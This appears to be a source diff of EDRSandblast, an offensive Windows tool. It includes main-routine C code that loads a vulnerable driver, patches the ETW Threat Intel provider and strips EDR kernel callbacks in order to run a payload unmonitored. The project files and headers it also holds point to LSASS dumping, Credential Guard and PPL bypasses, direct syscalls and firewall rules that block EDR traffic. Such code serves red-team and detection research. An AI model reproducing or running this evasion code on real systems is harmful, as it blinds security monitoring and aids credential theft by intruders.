}
}
break;
}
_tprintf(TEXT("\n\n"));
}
// If the the payload is not safe to execute.
else {
_tprintf(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and starting another process...\n"));
#ifdef _DEBUG
assert(kernelMode);
#endif
/*
* 1/3 : Removing kernel-based monitoring.
*/
// Disable (temporarily) ETW Threat Intel functions by patching the ETW Threat Intel provider ProviderEnableInfo.
if (ETWTIState) {
DisableETWThreatIntelProvider(verbose);
}
// If kernel callbacks are monitoring processes, we remove them and start a new process.
if (checkEDRDrivers && checkEDRDrivers->index != 0) {
_tprintf(TEXT("EDR driver(s) found in Kernel callbacks, attempting to remove them...\n"));
// Removes EDR drivers callbacks for process / threads creation and image loading.
removedEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!removedEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to remove the drivers in Kernel callbacks\n"));
return EXIT_FAILURE;
}
_tprintf(TEXT("--- Removing EDR driver(s) in process creation Kernel callbacks...\n"));
RemoveEDRProcessNotifyCallbacks(removedEDRDrivers, verbose);
_tprintf(TEXT("--- Removing EDR driver(s) in threads creation Kernel callbacks...\n"));
RemoveEDRThreadNotifyCallbacks(removedEDRDrivers, verbose);
_tprintf(TEXT("--- Removing EDR driver(s) in image loading Kernel callbacks...\n"));
RemoveEDRImageNotifyCallbacks(removedEDRDrivers, verbose);
_tprintf(TEXT("\n\n"));
// Checks that EDR drivers were indeed removed and if so, go on with the payload.
_tprintf(TEXT("Checking that all EDR driver(s) were successfully removed from Kernel callbacks...\n"));
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!checkEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
free(removedEDRDrivers);
return EXIT_FAILURE;
}
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
_tprintf(TEXT("\n\n"));
if (checkEDRDrivers->index != 0) {
_tprintf(TEXT("[!] All EDR drivers could not be removed from Kernel callbacks, exiting..."));
lpExitCode = EXIT_FAILURE;
}
free(checkEDRDrivers);
}
/*
* 2/3 : Starting "resursively" our process.
*/
// Re-executing the present binary, without any kernel callback nor ETWTI enabled.
_tprintf(TEXT("All EDR drivers were successfully removed from Kernel callbacks\nStarting a new unmonitored process ...\n"));
_tprintf(TEXT("\n\n"));
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
memset(&pi, 0, sizeof(pi));
// Pass the same argument, only add the "--dont-unload-driver" flag as the vulnerable driver will still be needed by the parent process.
TCHAR* currentCommandLine = GetCommandLine();
TCHAR* noRemoveFlag = _tcsdup(TEXT(" --dont-unload-driver"));
TCHAR* serviceNameOpt = _tcsdup(TEXT(" --service "));
TCHAR* svcName = GetServiceName();
//TODO: fix length calculation. _tcslen returns the length that should be used, but error due to "no const".
const SIZE_T commandLineMaxLen = 32768;
TCHAR* commandLine = (TCHAR*) calloc(commandLineMaxLen, sizeof(TCHAR));
_tcsncat_s(commandLine, commandLineMaxLen, currentCommandLine, _tcslen(currentCommandLine));
_tcsncat_s(commandLine, commandLineMaxLen, noRemoveFlag, _tcslen(noRemoveFlag));
_tcsncat_s(commandLine, commandLineMaxLen, serviceNameOpt, _tcslen(serviceNameOpt));
_tcsncat_s(commandLine, commandLineMaxLen, svcName, _tcslen(svcName));
if (CreateProcess(argv[0], commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
else {
_tprintf(TEXT("[!] An error occured while trying to create a new process\n"));
lpExitCode = EXIT_FAILURE;
}
free(commandLine);
_tprintf(TEXT("\n\n"));
/*
* 3/3 : Restoring state after execution.
*/
// By default, restore the removed EDR kernel callbacks. restoreCallbacks set to FALSE if the no restore CLI flag is set.
if (restoreCallbacks == TRUE && removedEDRDrivers && removedEDRDrivers->index != 0) {
// Restores the EDR drivers.
_tprintf(TEXT("Restoring EDR driver(s) Kernel callbacks...\n"));
RestoreEDRCallbacks(removedEDRDrivers);
_tprintf(TEXT("\n\n"));
// Checks that the EDR drivers were indeed restored.
_tprintf(TEXT("Checking that all EDR driver(s) were successfully restored in Kernel callbacks...\n"));
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!checkEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to check if the EDR drivers were successfully restored in Kernel callbacks\n"));
}
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
if (removedEDRDrivers && checkEDRDrivers && removedEDRDrivers->index == checkEDRDrivers->index) {
_tprintf(TEXT("[+] All EDR drivers were successfully restored in Kernel callbacks\n"));
}
else {
_tprintf(TEXT("[!] All EDR drivers could not be restored, continuing...\n"));
lpExitCode = EXIT_FAILURE;
}
free(checkEDRDrivers);
_tprintf(TEXT("\n\n"));
}
// Renable the ETW Threat Intel provider.
// TODO : make this conditionnal, just as kernel callbacks restoring ?
if (ETWTIState) {
EnableETWThreatIntelProvider(verbose);
}
if (removedEDRDrivers) {
free(removedEDRDrivers);
}
}
}
if (kernelMode && removeVulnDriver) {
Sleep(5000);
_tprintf(TEXT("[*] Uninstalling vulnerable MSI Afterburner driver...\n"));
status = UninstallVulnerableDriver();
if (status == FALSE) {
_tprintf(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver\n"));
_tprintf(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), GetServiceName());
lpExitCode = EXIT_FAILURE;
}
else {
_tprintf(TEXT("[+] The vulnerable driver was successfully uninstalled!\n"));
}
}
return lpExitCode;
}
+81 -20
View File
@@ -24,32 +24,33 @@
<ProjectGuid>{7e3e2ece-d1eb-43c6-8c83-b52b7571954b}</ProjectGuid>
<RootNamespace>EDRSandblast</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>EDRSandblast_Core</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
@@ -58,6 +59,7 @@
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
@@ -82,9 +84,14 @@
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<IncludePath>$(SolutionDir)EDRSandblast\Includes;$(IncludePath)</IncludePath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<RunCodeAnalysis>false</RunCodeAnalysis>
<EnableClangTidyCodeAnalysis>true</EnableClangTidyCodeAnalysis>
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
<IncludePath>$(SolutionDir)EDRSandblast\Includes;$(IncludePath)</IncludePath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
@@ -97,7 +104,7 @@
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -115,7 +122,7 @@
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
@@ -130,7 +137,7 @@
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;Pathcch.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@@ -143,52 +150,106 @@
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>Includes\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;Pathcch.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
<ProgramDatabaseFile />
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="EDRBypass\ETWThreatIntel.c" />
<ClCompile Include="EDRBypass\KernelCallbacks.c" />
<ClCompile Include="EDRSandblast.c" />
<ClCompile Include="Drivers\DriverDBUtil.c" />
<ClCompile Include="Drivers\DriverRTCore.c" />
<ClCompile Include="KernellandBypass\ETWThreatIntel.c" />
<ClCompile Include="KernellandBypass\KernelCallbacks.c" />
<ClCompile Include="KernellandBypass\KernelUtils.c" />
<ClCompile Include="KernellandBypass\ObjectCallbacks.c" />
<ClCompile Include="UserlandBypass\Syscalls.c" />
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c" />
<ClCompile Include="Utils\FileUtils.c" />
<ClCompile Include="Utils\HttpClient.c" />
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c" />
<ClCompile Include="Userland\PEBBrowse.c" />
<ClCompile Include="Userland\PEParser.c" />
<ClCompile Include="Userland\UserlandHooks.c" />
<ClCompile Include="Utils\ListUtils.c" />
<ClCompile Include="Utils\RemotePEBBrowser.c" />
<ClCompile Include="Utils\PdbSymbols.c" />
<ClCompile Include="UserlandBypass\Firewalling.c" />
<ClCompile Include="UserlandBypass\UserlandHooks.c" />
<ClCompile Include="Utils\DriverOps.c" />
<ClCompile Include="Utils\FileVersion.c" />
<ClCompile Include="Utils\FirewallOps.cpp" />
<ClCompile Include="Utils\IsEDRChecks.c" />
<ClCompile Include="Utils\IsElevatedProcess.c" />
<ClCompile Include="Utils\KernelMemoryPrimitives.c" />
<ClCompile Include="Utils\KernelPatternSearch.c" />
<ClCompile Include="Utils\LSASSDump.c" />
<ClCompile Include="Utils\ProcessDump.c" />
<ClCompile Include="Utils\NtoskrnlOffsets.c" />
<ClCompile Include="Utils\PEBBrowse.c" />
<ClCompile Include="Utils\PEParser.c" />
<ClCompile Include="Utils\StringUtils.c" />
<ClCompile Include="Utils\SignatureOps.c" />
<ClCompile Include="Utils\SW2_Syscalls.c" />
<ClCompile Include="Utils\SyscallProcessUtils.c" />
<ClCompile Include="Utils\WdigestOffsets.c" />
<ClCompile Include="Utils\WindowsServiceOps.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="EDRSandblast.h" />
<ClInclude Include="Includes\CredGuard.h" />
<ClInclude Include="Includes\DriverDBUtil.h" />
<ClInclude Include="Includes\DriverRTCore.h" />
<ClInclude Include="Includes\ProcessDumpDirectSyscalls.h" />
<ClInclude Include="Includes\FileUtils.h" />
<ClInclude Include="Includes\HttpClient.h" />
<ClInclude Include="Includes\DriverOps.h" />
<ClInclude Include="EDRSandBlast.h" />
<ClInclude Include="Includes\ETWThreatIntel.h" />
<ClInclude Include="Includes\FileVersion.h" />
<ClInclude Include="Includes\Firewalling.h" />
<ClInclude Include="Includes\FirewallOps.h" />
<ClInclude Include="Includes\IsEDRChecks.h" />
<ClInclude Include="Includes\IsElevatedProcess.h" />
<ClInclude Include="Includes\KernelCallbacks.h" />
<ClInclude Include="Includes\KernelMemoryPrimitives.h" />
<ClInclude Include="Includes\KernelPatternSearch.h" />
<ClInclude Include="Includes\LSASSDump.h" />
<ClInclude Include="Includes\KernelUtils.h" />
<ClInclude Include="Includes\ListUtils.h" />
<ClInclude Include="Includes\ProcessDump.h" />
<ClInclude Include="Includes\RemotePEBBrowser.h" />
<ClInclude Include="Includes\NtoskrnlOffsets.h" />
<ClInclude Include="Includes\PEBBrowse.h" />
<ClInclude Include="Includes\PEParser.h" />
<ClInclude Include="Includes\RunAsPPL.h" />
<ClInclude Include="Includes\SignatureOps.h" />
<ClInclude Include="Includes\StringUtils.h" />
<ClInclude Include="Includes\SW2_Syscalls.h" />
<ClInclude Include="Includes\SyscallProcessUtils.h" />
<ClInclude Include="Includes\Syscalls.h" />
<ClInclude Include="Includes\Undoc.h" />
<ClInclude Include="Includes\Undoc_64.h" />
<ClInclude Include="Includes\UserlandHooks.h" />
<ClInclude Include="Includes\WdigestOffsets.h" />
<ClInclude Include="Includes\CredGuard.h" />
<ClInclude Include="Includes\RunAsPPL.h" />
<ClInclude Include="Includes\WindowsServiceOps.h" />
<ClInclude Include="Includes\PdbSymbols.h" />
<ClInclude Include="Includes\ObjectCallbacks.h" />
</ItemGroup>
<ItemGroup>
<MASM Include="Utils\SW2_Syscalls_stubs.x64.asm">
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild>
<DeploymentContent Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</DeploymentContent>
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild>
<DeploymentContent Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</DeploymentContent>
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</ExcludedFromBuild>
<DeploymentContent Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</DeploymentContent>
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</ExcludedFromBuild>
<DeploymentContent Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</DeploymentContent>
</MASM>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
+141 -19
View File
@@ -15,12 +15,6 @@
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="EDRSandblast.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="EDRBypass\KernelCallbacks.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="LSASSProtectionBypass\CredGuard.c">
<Filter>Source Files</Filter>
</ClCompile>
@@ -33,9 +27,6 @@
<ClCompile Include="Utils\DriverOps.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\LSASSDump.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\FileVersion.c">
<Filter>Source Files</Filter>
</ClCompile>
@@ -48,16 +39,82 @@
<ClCompile Include="Utils\WdigestOffsets.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="EDRBypass\ETWThreatIntel.c">
<ClCompile Include="Utils\FirewallOps.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Userland\PEBBrowse.c">
<ClCompile Include="Utils\IsEDRChecks.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Userland\PEParser.c">
<ClCompile Include="Utils\IsElevatedProcess.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Userland\UserlandHooks.c">
<ClCompile Include="Utils\WindowsServiceOps.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\SignatureOps.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="KernellandBypass\ETWThreatIntel.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="KernellandBypass\KernelCallbacks.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="UserlandBypass\Firewalling.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="UserlandBypass\UserlandHooks.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\PdbSymbols.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\HttpClient.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\FileUtils.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="KernellandBypass\ObjectCallbacks.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\SW2_Syscalls.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="KernellandBypass\KernelUtils.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Drivers\DriverRTCore.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\SyscallProcessUtils.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Drivers\DriverDBUtil.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\StringUtils.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\PEParser.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\PEBBrowse.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\RemotePEBBrowser.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\ListUtils.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="UserlandBypass\Syscalls.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\ProcessDump.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
@@ -71,15 +128,9 @@
<ClInclude Include="Includes\KernelMemoryPrimitives.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="EDRSandBlast.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\DriverOps.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\LSASSDump.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\FileVersion.h">
<Filter>Header Files</Filter>
</ClInclude>
@@ -113,5 +164,76 @@
<ClInclude Include="Includes\UserlandHooks.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\Firewalling.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\FirewallOps.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\IsElevatedProcess.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\WindowsServiceOps.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\SignatureOps.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\IsEDRChecks.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\PdbSymbols.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\HttpClient.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\FileUtils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\ObjectCallbacks.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\KernelUtils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\DriverRTCore.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\DriverDBUtil.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\SyscallProcessUtils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\SW2_Syscalls.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\StringUtils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\RemotePEBBrowser.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\ListUtils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\Syscalls.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\ProcessDump.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\ProcessDumpDirectSyscalls.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="EDRSandblast.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<MASM Include="Utils\SW2_Syscalls_stubs.x64.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
</Project>
+8
View File
@@ -0,0 +1,8 @@
#pragma once
#include <Windows.h>
HANDLE GetDriverHandle_DBUtil();
VOID CloseDriverHandle_DBUtil();
VOID WriteMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer);
VOID ReadMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer);
+5 -4
View File
@@ -9,16 +9,17 @@
#include <Windows.h>
#if !defined(PRINT_ERROR_AUTO)
#define PRINT_ERROR_AUTO(func) (_tprintf(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError()))
#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
#endif
#define SERVICE_NAME_LENGTH 8
#define MAX_UNINSTALL_ATTEMPTS 3
#define OP_SLEEP_TIME 1000
TCHAR* GetServiceName(void);
void SetServiceName(TCHAR* newName, size_t szNewName);
TCHAR* GetDriverServiceName(void);
void SetDriverServiceName(_In_z_ TCHAR* newName);
BOOL InstallVulnerableDriver(TCHAR* driverPath);
BOOL UninstallVulnerableDriver(void);
BOOL UninstallVulnerableDriver(void);
BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName);
+8
View File
@@ -0,0 +1,8 @@
#pragma once
#include <Windows.h>
HANDLE GetDriverHandle_RTCore();
VOID CloseDriverHandle_RTCore();
VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer);
VOID ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer);
+13
View File
@@ -0,0 +1,13 @@
#pragma once
PBYTE ReadFullFileW(LPCWSTR fileName);
BOOL FileExistsA(LPCSTR szPath);
BOOL FileExistsW(LPCWSTR szPath);
#ifdef UNICODE
#define FileExists FileExistsW
#else
#define FileExists FileExistsA
#endif // !UNICODE
BOOL WriteFullFileW(LPCWSTR fileName, PBYTE fileContent, SIZE_T fileSize);
+4 -2
View File
@@ -2,8 +2,10 @@
#include <Windows.h>
LPTSTR GetNtoskrnlPath();
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename);
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion);
LPTSTR GetNtoskrnlVersion();
void GetWdigestVersion(TCHAR* wdigestVersion);
LPTSTR GetWdigestVersion();
+30
View File
@@ -0,0 +1,30 @@
#pragma once
#include <Windows.h>
#pragma warning(disable : 4201)
#include <netfw.h>
#pragma warning(default : 4201)
#include <Tchar.h>
#include <stdio.h>
#include "StringUtils.h"
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#ifndef FW_PROFILE_TYPE_ALL
#define FW_PROFILE_TYPE_ALL 0x7FFFFFFF
#endif
#define FW_RULE_NAME_MAX_LENGTH 20
HRESULT IsFirewallEnabled(BOOL* firewallIsOn);
HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName);
HRESULT DeleteFirewallRule(TCHAR * ruleName);
+37
View File
@@ -0,0 +1,37 @@
/*
--- Firewall rules to block EDR products from the network (inboud / outbound connections).
*/
#pragma once
#include <Windows.h>
#include <Dbghelp.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <Tchar.h>
#include "FirewallOps.h"
#include "IsEDRChecks.h"
#include "IsElevatedProcess.h"
// Singly-linked list used to hold the paths of binaries executed by EDRs (processes / services).
typedef struct sFwBinaryRules_ {
TCHAR* binaryPath;
TCHAR* ruleInboundName;
TCHAR* ruleOutboundName;
struct sFwBinaryRules_* next;
} fwBinaryRules;
typedef struct fwBlockingRulesList_ {
fwBinaryRules* first;
}fwBlockingRulesList;
void FirewallPrintManualDeletion(fwBlockingRulesList* fwEntries);
HRESULT FirewallBlockEDR(fwBlockingRulesList* fwEntries);
HRESULT FirewallUnblockEDR(fwBlockingRulesList* fwEntries);
void fwList_insertSorted(fwBlockingRulesList* fwEntries, fwBinaryRules* newFWEntry);
+2
View File
@@ -0,0 +1,2 @@
#pragma once
BOOL HttpsDownloadFullFile(LPCWSTR domain, LPCWSTR uri, PBYTE* output, SIZE_T* output_size);
+24
View File
@@ -0,0 +1,24 @@
/*
* Primitives to check if a binary or driver belongs to an EDR product.
*/
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include "SignatureOps.h"
TCHAR const* EDR_SIGNATURE_KEYWORDS[];
TCHAR const* EDR_BINARIES[];
TCHAR const* EDR_DRIVERS[];
BOOL isFileSignatureMatchingEDR(TCHAR* filePath);
BOOL isBinaryNameMatchingEDR(TCHAR* binaryName);
BOOL isBinaryPathMatchingEDR(TCHAR* binaryPath);
BOOL isDriverNameMatchingEDR(TCHAR* driverName);
BOOL isDriverPathMatchingEDR(TCHAR* driverPath);
@@ -0,0 +1,8 @@
#pragma once
#include "Windows.h"
#include "Tchar.h"
#pragma comment(lib, "netapi32.lib")
BOOL IsElevatedProcess();
+21 -8
View File
@@ -17,10 +17,24 @@
*/
#define PSP_MAX_CALLBACKS 0x40
//TODO : split notify routines & object callbacks in different files, but keep this base to implement more kernel callbacks types (CMRegisterCallbacks, etc)
enum kernel_callback_type_e {
NOTIFY_ROUTINE_CB,
OBJECT_CALLBACK
};
struct KRNL_CALLBACK {
TCHAR const* driver;
DWORD64 callback_addr;
DWORD64 callback_struct;
enum kernel_callback_type_e type;
TCHAR const* driver_name;
union callback_addr_e {
struct notify_routine_t {
DWORD64 callback_struct_addr;
DWORD64 callback_struct;
enum NtoskrnlOffsetType type; //TODO : decorrelate indices in CSV from notify routine types
} notify_routine;
struct object_callback_t {
DWORD64 enable_addr;
} object_callback;
